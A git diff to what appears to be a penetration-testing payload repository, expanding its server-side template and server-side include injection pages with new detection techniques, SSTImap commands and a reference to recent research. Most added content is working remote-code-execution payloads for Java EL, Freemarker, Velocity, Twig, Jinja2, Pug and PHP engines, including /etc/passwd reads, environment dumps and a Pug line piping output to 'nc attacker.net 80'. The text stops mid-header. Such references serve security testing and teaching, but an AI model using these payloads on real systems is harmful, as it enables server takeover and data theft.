diff --git a/Server Side Include Injection/README.md b/Server Side Include Injection/README.md index 62dcb71a45..9826857903 100644 --- a/Server Side Include Injection/README.md +++ b/Server Side Include Injection/README.md @@ -4,10 +4,21 @@ ## Summary +* [Tools](#tools) * [Methodology](#methodology) * [Edge Side Inclusion](#edge-side-inclusion) * [References](#references) +## Tools + +* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI` + + ```bash + python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s + python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI + python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk' + ``` + ## Methodology SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands. diff --git a/Server Side Template Injection/Images/technique_Boolean-Based.png b/Server Side Template Injection/Images/technique_Boolean-Based.png new file mode 100644 index 0000000000..9081d50c6b Binary files /dev/null and b/Server Side Template Injection/Images/technique_Boolean-Based.png differ diff --git a/Server Side Template Injection/Images/technique_Error-Based.png b/Server Side Template Injection/Images/technique_Error-Based.png new file mode 100644 index 0000000000..ec1f630aeb Binary files /dev/null and b/Server Side Template Injection/Images/technique_Error-Based.png differ diff --git a/Server Side Template Injection/Images/technique_Polyglot-Based.png b/Server Side Template Injection/Images/technique_Polyglot-Based.png new file mode 100644 index 0000000000..5546e3bc12 Binary files /dev/null and b/Server Side Template Injection/Images/technique_Polyglot-Based.png differ diff --git a/Server Side Template Injection/Images/technique_Rendered.png b/Server Side Template Injection/Images/technique_Rendered.png new file mode 100644 index 0000000000..ff16946a3e Binary files /dev/null and b/Server Side Template Injection/Images/technique_Rendered.png differ diff --git a/Server Side Template Injection/Images/technique_Time-Based.png b/Server Side Template Injection/Images/technique_Time-Based.png new file mode 100644 index 0000000000..72fc7290c4 Binary files /dev/null and b/Server Side Template Injection/Images/technique_Time-Based.png differ diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md index 94fb247f18..f261d791d2 100644 --- a/Server Side Template Injection/Java.md +++ b/Server Side Template Injection/Java.md @@ -5,17 +5,15 @@ ## Summary - [Templating Libraries](#templating-libraries) -- [Java](#java) - - [Java - Basic Injection](#java---basic-injection) - - [Java - Retrieve Environment Variables](#java---retrieve-environment-variables) - - [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd) +- [Java EL](#java-el) + - [Java EL - Basic Injection](#java-el---basic-injection) + - [Java EL - Code Execution](#java-el---code-execution) - [Freemarker](#freemarker) - [Freemarker - Basic Injection](#freemarker---basic-injection) - [Freemarker - Read File](#freemarker---read-file) - [Freemarker - Code Execution](#freemarker---code-execution) - [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation) - [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass) -- [Codepen](#codepen) - [Jinjava](#jinjava) - [Jinjava - Basic Injection](#jinjava---basic-injection) - [Jinjava - Command Execution](#jinjava---command-execution) @@ -32,6 +30,8 @@ - [Groovy - Sandbox Bypass](#groovy---sandbox-bypass) - [Spring Expression Language](#spring-expression-language) - [SpEL - Basic Injection](#spel---basic-injection) + - [SpEL - Retrieve Environment Variables](#spel---retrieve-environment-variables) + - [SpEL - Retrieve /etc/passwd](#spel---retrieve-etcpasswd) - [SpEL - DNS Exfiltration](#spel---dns-exfiltration) - [SpEL - Session Attributes](#spel---session-attributes) - [SpEL - Command Execution](#spel---command-execution) @@ -39,20 +39,22 @@ ## Templating Libraries -| Template Name | Payload Format | -| ------------ | --------- | -| Codepen | `#{}` | -| Freemarker | `${3*3}`, `#{3*3}`, `[=3*3]` | -| Groovy | `${9*9}` | -| Jinjava | `{{ }}` | -| Pebble | `{{ }}` | -| Spring | `*{7*7}` | -| Thymeleaf | `[[ ]]` | -| Velocity | `#set($X="") $X` | +| Template Name | Payload Format | +|---------------|------------------------| +| Codepen | `#{ }` | +| Freemarker | `${ }`, `#{ }`, `[= ]` | +| Groovy | `${ }` | +| Jinjava | `{{ }}` | +| Pebble | `{{ }}` | +| Spring | `*{ }` | +| Thymeleaf | `[[ ]]` | +| Velocity | `#set($X="") $X` | -## Java +## Java EL -### Java - Basic Injection +### Java EL - Basic Injection + +Java has multiple Expression Languages using similar syntax. > Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`. @@ -64,18 +66,14 @@ ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` -### Java - Retrieve Environment Variables - -```java -${T(java.lang.System).getenv()} -``` - -### Java - Retrieve /etc/passwd +### Java EL - Code Execution ```java -${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')} +${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE +${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE +${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE +${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE -${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` --- @@ -110,6 +108,10 @@ Convert the returned bytes to ASCII ${"freemarker.template.utility.Execute"?new()("id")} #{"freemarker.template.utility.Execute"?new()("id")} [="freemarker.template.utility.Execute"?new()("id")] + +${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE +${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE +${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE ``` ### Freemarker - Code Execution with Obfuscation @@ -140,24 +142,6 @@ ${dwf.newInstance(ec,null)("id")} --- -## Codepen - -[Official website](https://codepen.io/) -> - -```python -- var x = root.process -- x = x.mainModule.require -- x = x('child_process') -= x.exec('id | nc attacker.net 80') -``` - -```javascript -#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} -``` - ---- - ## Jinjava [Official website](https://github.com/HubSpot/jinjava) @@ -275,6 +259,41 @@ A more flexible and stealthy payload that supports base64-encoded commands, allo #end ``` +Error-Based RCE payload: + +```java +#set($s="") +#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass())) +#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id") +#set($n=$p.waitFor()) +#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8")) +#include($b) +``` + +Boolean-Based RCE payload: + +```java +#set($s="") +#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")) +#set($n=$p.waitFor()) +#set($r=$p.exitValue()) +#if($r != 0) +#include("Y:/A:/xxx") +#end +``` + +Time-Based RCE payload: + +```java +#set($s="") +#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")) +#set($n=$p.waitFor()) +#set($r=$p.exitValue()) +#if($r != 0) +#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000)) +#end +``` + --- ## Groovy @@ -340,6 +359,8 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val ## Spring Expression Language +> Java EL payloads also work for SpEL + [Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html) > The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality. @@ -351,6 +372,20 @@ ${7*7} ${'patt'.toString().replace('a', 'x')} ``` +### SpEL - Retrieve Environment Variables + +```java +${T(java.lang.System).getenv()} +``` + +### SpEL - Retrieve /etc/passwd + +```java +${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')} + +${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} +``` + ### SpEL - DNS Exfiltration DNS lookup @@ -421,3 +456,4 @@ ${pageContext.request.getSession().setAttribute("admin",true)} - [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) - [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://www.youtube.com/watch?v=3cT0uE7Y87s) - [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) diff --git a/Server Side Template Injection/JavaScript.md b/Server Side Template Injection/JavaScript.md index 36ed268054..8e8d861c64 100644 --- a/Server Side Template Injection/JavaScript.md +++ b/Server Side Template Injection/JavaScript.md @@ -5,31 +5,56 @@ ## Summary - [Templating Libraries](#templating-libraries) +- [Universal Payloads](#universal-payloads) - [Handlebars](#handlebars) - [Handlebars - Basic Injection](#handlebars---basic-injection) - [Handlebars - Command Execution](#handlebars---command-execution) - [Lodash](#lodash) - [Lodash - Basic Injection](#lodash---basic-injection) - [Lodash - Command Execution](#lodash---command-execution) +- [Pug](#pug) - [References](#references) ## Templating Libraries -| Template Name | Payload Format | -| ------------ | --------- | -| DotJS | `{{= }}` | -| DustJS | `{}` | -| EJS | `<% %>` | -| HandlebarsJS | `{{ }}` | -| HoganJS | `{{ }}` | -| Lodash | `{{= }}` | -| MustacheJS | `{{ }}` | -| NunjucksJS | `{{ }}` | -| PugJS | `#{}` | -| TwigJS | `{{ }}` | -| UnderscoreJS | `<% %>` | -| VelocityJS | `#=set($X="")$X` | -| VueJS | `{{ }}` | +| Template Name | Payload Format | +|---------------|------------------| +| DotJS | `{{= }}` | +| DustJS | `{ }` | +| EJS | `<% %>` | +| HandlebarsJS | `{{ }}` | +| HoganJS | `{{ }}` | +| Lodash | `{{= }}` | +| MustacheJS | `{{ }}` | +| NunjucksJS | `{{ }}` | +| PugJS | `#{ }` | +| TwigJS | `{{ }}` | +| UnderscoreJS | `<% %>` | +| VelocityJS | `#=set($X="")$X` | +| VueJS | `{{ }}` | + +## Universal Payloads + +Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta. + +To use these payloads, wrap them in the appropriate tag. + +```javascript +// Rendered RCE +global.process.mainModule.require("child_process").execSync("id").toString() + +// Error-Based RCE +global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString()) +""["x"][global.process.mainModule.require("child_process").execSync("id").toString()] + +// Boolean-Based RCE +[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"] + +// Time-Based RCE +global.process.mainModule.require("child_process").execSync("id && sleep 5").toString() +``` + +NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`. ## Handlebars @@ -120,7 +145,28 @@ ${= _.VERSION} {{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}} ``` +--- + +## Pug + +> Universal payloads also work for Pug. + +[Official website](https://pugjs.org/api/getting-started.html) +> + +```javascript +- var x = root.process +- x = x.mainModule.require +- x = x('child_process') += x.exec('id | nc attacker.net 80') +``` + +```javascript +#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} +``` + ## References - [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/) - [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) diff --git a/Server Side Template Injection/PHP.md b/Server Side Template Injection/PHP.md index 94972bc3a6..11caee80a3 100644 --- a/Server Side Template Injection/PHP.md +++ b/Server Side Template Injection/PHP.md @@ -5,7 +5,8 @@ ## Summary - [Templating Libraries](#templating-libraries) -- [blade](#blade) +- [Universal Payloads](#universal-payloads) +- [Blade](#blade) - [Smarty](#smarty) - [Smarty - Code Execution with Obfuscation](#smarty---code-execution-with-obfuscation) - [Twig](#twig) @@ -25,16 +26,43 @@ ## Templating Libraries | Template Name | Payload Format | -| --------------- | --------- | -| Blade (Laravel) | `{{ }}` | -| Latte | `{var $X=""}{$X}` | -| Mustache | `{{ }}` | -| Plates | `` | -| Smarty | `{ }` | -| Twig | `{{ }}` | +|-----------------|----------------| +| Blade (Laravel) | `{{ }}` | +| Latte | `{ }` | +| Mustache | `{{ }}` | +| Plates | `` | +| Smarty | `{ }` | +| Twig | `{{ }}` | + +## Universal Payloads + +Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty. + +To use these payloads, wrap them in the appropriate tag. + +```php +// Rendered RCE +shell_exec('id') +system('id') + +// Error-Based RCE +ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based +fopen(join("", ["Y:/A:/", shell_exec('id')]), "r") +include(join("", ["Y:/A:/", shell_exec('id')])) +join("", ["xx", shell_exec('id')])() + +// Boolean-Based RCE +1 / (pclose(popen("id", "wb")) == 0) + +// Time-Based RCE +shell_exec('id && sleep 5') +system('id && sleep 5') +``` ## Blade +> Universal payloads also work for Blade. + [Official website](https://laravel.com/docs/master/blade) > Blade is the simple, yet powerful templating engine that is included with Laravel. @@ -50,6 +78,8 @@ Reference and explanation of payload can be found [yeswehack/server-side-templat ## Smarty +> Universal payloads also work for Smarty before v5. + [Official website](https://www.smarty.net/docs/en/) > Smarty is a template engine for PHP. @@ -57,8 +87,8 @@ Reference and explanation of payload can be found [yeswehack/server-side-templat {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} -{system('ls')} // compatible v3 -{system('cat index.php')} // compatible v3 +{system('ls')} // compatible v3, deprecated in v5 +{system('cat index.php')} // compatible v3, deprecated in v5 ``` ### Smarty - Code Execution with Obfuscation @@ -126,6 +156,20 @@ $output = $twig > render ( {{['id']|filter('passthru')}} {{['id']|map('passthru')}} {{['nslookup oastify.com']|filter('system')}} + +{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based +{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19 +{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0 + +{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19 +{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0 +{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614 +``` + +With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases: + +```php +{{ {'id':'shell_exec'}|map('call_user_func')|join }} ``` Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is) @@ -161,6 +205,8 @@ Reference and explanation of payload can be found [yeswehack/server-side-templat ## Latte +> Universal payloads also work for Latte. + ### Latte - Basic Injection ```php @@ -297,3 +343,4 @@ layout template: - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) - [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) diff --git a/Server Side Template Injection/Python.md b/Server Side Template Injection/Python.md index 75e4027d51..f5ce2a8f3c 100644 --- a/Server Side Template Injection/Python.md +++ b/Server Side Template Injection/Python.md @@ -5,6 +5,7 @@ ## Summary - [Templating Libraries](#templating-libraries) +- [Universal Payloads](#universal-payloads) - [Django](#django) - [Django - Basic Injection](#django---basic-injection) - [Django - Cross-Site Scripting](#django---cross-site-scripting) @@ -39,15 +40,28 @@ ## Templating Libraries | Template Name | Payload Format | -| ------------ | --------- | -| Bottle | `{{ }}` | -| Chameleon | `${ }` | -| Cheetah | `${ }` | -| Django | `{{ }}` | -| Jinja2 | `{{ }}` | -| Mako | `${ }` | -| Pystache | `{{ }}` | -| Tornado | `{{ }}` | +|---------------|----------------| +| Bottle | `{{ }}` | +| Chameleon | `${ }` | +| Cheetah | `${ }` | +| Django | `{{ }}` | +| Jinja2 | `{{ }}` | +| Mako | `${ }` | +| Pystache | `{{ }}` | +| Tornado | `{{ }}` | + +## Universal Payloads + +Generic code injection payloads work for many Python-based template engines, such as Bottle, Chameleon, Cheetah, Mako and Tornado. + +To use these payloads, wrap them in the appropriate tag. + +```python +__include__("os").popen("id").read() # Rendered RCE +getattr("", "x" + __include__("os").popen("id").read()) # Error-Based RCE +1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE +__include__("os").popen("id && sleep 5").read() # Time-Based RCE +``` ## Django @@ -222,6 +236,13 @@ We can use these shorter payloads from [@podalirius_](https://twitter.com/podali {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` +Similar payloads could be used for Error-Based and Boolean-Based exploitation: + +```python +{{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }} # Error-Based +{{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }} # Boolean-Based +``` + With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template: ```python @@ -317,6 +338,8 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by [@Se ## Tornado +> Universal payloads also work for Tornado. + ### Tornado - Basic Injection ```py @@ -335,6 +358,8 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by [@Se ## Mako +> Universal payloads also work for Mako. + [Official website](https://www.makotemplates.org/) > Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics. @@ -438,3 +463,4 @@ Reference and explanation of payload can be found [yeswehack/server-side-templat - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) - [Python context free payloads in Mako templates - podalirius - August 26, 2021](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/) - [The minefield between syntaxes: exploiting syntax confusions in the wild - Brumens - October 17, 2025](https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index f36c825463..e935fe6551 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -1,15 +1,24 @@ # Server Side Template Injection -> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages +> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages. ## Summary - [Tools](#tools) - [Methodology](#methodology) - - [Identify the Vulnerable Input Field](#identify-the-vulnerable-input-field) - - [Inject Template Syntax](#inject-template-syntax) - - [Enumerate the Template Engine](#enumerate-the-template-engine) - - [Escalate to Code Execution](#escalate-to-code-execution) + - [Detection and Exploitation Techniques](#detection-and-exploitation-techniques) + - [Rendered](#rendered) + - [Error-Based](#error-based) + - [Boolean-Based](#boolean-based) + - [Time-Based](#time-based) + - [Out of Bounds](#out-of-bounds) + - [Polyglot-Based](#polyglot-based) + - [Universal Detection Payloads](#universal-detection-payloads) + - [Manual Detection and Exploitation](#manual-detection-and-exploitation) + - [Identify the Vulnerable Input Field](#identify-the-vulnerable-input-field) + - [Inject Template Syntax](#inject-template-syntax) + - [Enumerate the Template Engine](#enumerate-the-template-engine) + - [Escalate to Code Execution](#escalate-to-code-execution) - [Labs](#labs) - [References](#references) @@ -32,15 +41,133 @@ - [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap) - ```powershell + ```bash python3 ./sstimap.py -u 'https://example.com/page?name=John' -s - python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade + python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk' ``` ## Methodology -### Identify the Vulnerable Input Field +### Detection and Exploitation Techniques + +Original research: + +- Rendered, Time-Based: [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf) +- Polyglot-Based: [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf) +- Error-Based, Boolean-Based: [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) + +#### Rendered + +![Rendered technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Rendered.png?raw=true) + +> Applicability: detection, exploitation + +When the rendered template is displayed to the attacker, Rendered technique can be used to include the results of the injected code on the page. + +#### Error-Based + +![Error-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Error-Based.png?raw=true) + +> Applicability: detection, exploitation + +When the errors are verbosely displayed to the attacker, Error-Based technique can be used to trigger the error message containing the results of the injected code. + +#### Boolean-Based + +![Boolean-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Boolean-Based.png?raw=true) + +> Applicability: detection, blind exploitation, blind data exfiltration + +Boolean-Based technique can be used to conditionally trigger an error to indicate success or failure of the injected code. + +#### Time-Based + +![Time-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Time-Based.png?raw=true) + +> Applicability: limited detection, blind exploitation, blind data exfiltration + +Time-Based technique can be used to conditionally trigger the delay to indicate success or failure of the injected code. + +Triggering the delay often requires guessing payloads for code evaluation or OS command execution. + +#### Out of Bounds + +> Applicability: limited detection, exploitation + +Out of Bounds technique can be used to expose results of the injected code through other channels (e.g. by connecting to an attacker-controlled server). + +This technique often requires guessing payloads for code evaluation or OS command execution. + +#### Polyglot-Based + +![Polyglot-Based technique workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/technique_Polyglot-Based.png?raw=true) + +> Applicability: detection + +Polyglot-Based technique can be used to quickly determine the template engine by checking how it transforms different payloads. + +### Universal Detection Payloads + +Polyglot to trigger an error in presence of SSTI vulnerability: + +```ps1 +${{<%[%'"}}%\. +``` + +Common tags to test for SSTI with code evaluation: + +```powershell +{{ ... }} +${ ... } +#{ ... } +<%= ... %> +{ ... } +{{= ... }} +{= ... } +\n= ... \n +*{ ... } +@{ ... } +@( ... ) +``` + +Rendered SSTI can be checked by using mathematical expressions inside the tags: + +```powershell +7 * 7 +``` + +Error-Based SSTI can be checked by using this payload inside the tags: + +```powershell +(1/0).zxy.zxy +``` + +If the error caused by that payload is displayed verbosely, it can be checked to guess the language used for code evaluation: + +| Error | Language | +|-------------------------------|-------------------| +| ZeroDivisionError | Python | +| java.lang.ArithmeticException | Java | +| ReferenceError | NodeJS | +| TypeError | NodeJS | +| Division by zero | PHP | +| DivisionByZeroError | PHP | +| divided by 0 | Ruby | +| Arithmetic operation failed | Freemarker (Java) | + +To test for blind injections using Boolean-Based technique, the attacker can test pairs of similar payloads wrapped in tags, where one payload evaluates mathematical expression, while the other triggers syntax error: + +| test | ok | error | +|------|-----------------|-----------------| +| 1 | `(3*4/2)` | `3*)2(/4` | +| 2 | `((7*8)/(2*4))` | `7)(*)8)(2/(*4` | + +Using at least two pairs of payloads avoids false positives caused by external interference. + +### Manual Detection and Exploitation + +#### Identify the Vulnerable Input Field The attacker first locates an input field, URL parameter, or any user-controllable part of the application that is passed into a server-side template without proper sanitization or escaping. @@ -48,7 +175,7 @@ For example, the attacker might identify a web form, search bar, or template pre **TIP**: Generated PDF files, invoices and emails usually use a template. -### Inject Template Syntax +#### Inject Template Syntax The attacker tests the identified input field by injecting template syntax specific to the template engine in use. Different web frameworks use different template engines (e.g., Jinja2 for Python, Twig for PHP, or FreeMarker for Java). @@ -69,7 +196,7 @@ ${{<%[%'"}}%\. The [Hackmanit/Template Injection Table](https://github.com/Hackmanit/template-injection-table) is an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines. -### Enumerate the Template Engine +#### Enumerate the Template Engine Based on the successful response, the attacker determines which template engine is being used. This step is critical because different template engines have different syntax, features, and potential for exploitation. The attacker may try different payloads to see which one executes, thereby identifying the engine. @@ -79,7 +206,7 @@ Based on the successful response, the attacker determines which template engine [The post "template-engines-injection-101" from @0xAwali](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) summarize the syntax and detection method for most of the template engines for JavaScript, Python, Ruby, Java and PHP and how to differentiate between engines that use the same syntax. -### Escalate to Code Execution +#### Escalate to Code Execution Once the template engine is identified, the attacker injects more complex expressions, aiming to execute server-side commands or arbitrary code. @@ -91,6 +218,9 @@ Once the template engine is identified, the attacker injects more complex expres ## References +- [Server-Side Template Injection: RCE For The Modern Web App - James Kettle - August 05, 2015](https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf) +- [Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning - Maximilian Hildebrand - September 19, 2023](https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf) +- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md) - [A Pentester's Guide to Server Side Template Injection (SSTI) - Busra Demir - December 24, 2020](https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti) - [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - August 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) - [Template Engines Injection 101 - Mahmoud M. Awali - November 1, 2024](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) diff --git a/Server Side Template Injection/Ruby.md b/Server Side Template Injection/Ruby.md index d7c2615ff9..1d742f416d 100644 --- a/Server Side Template 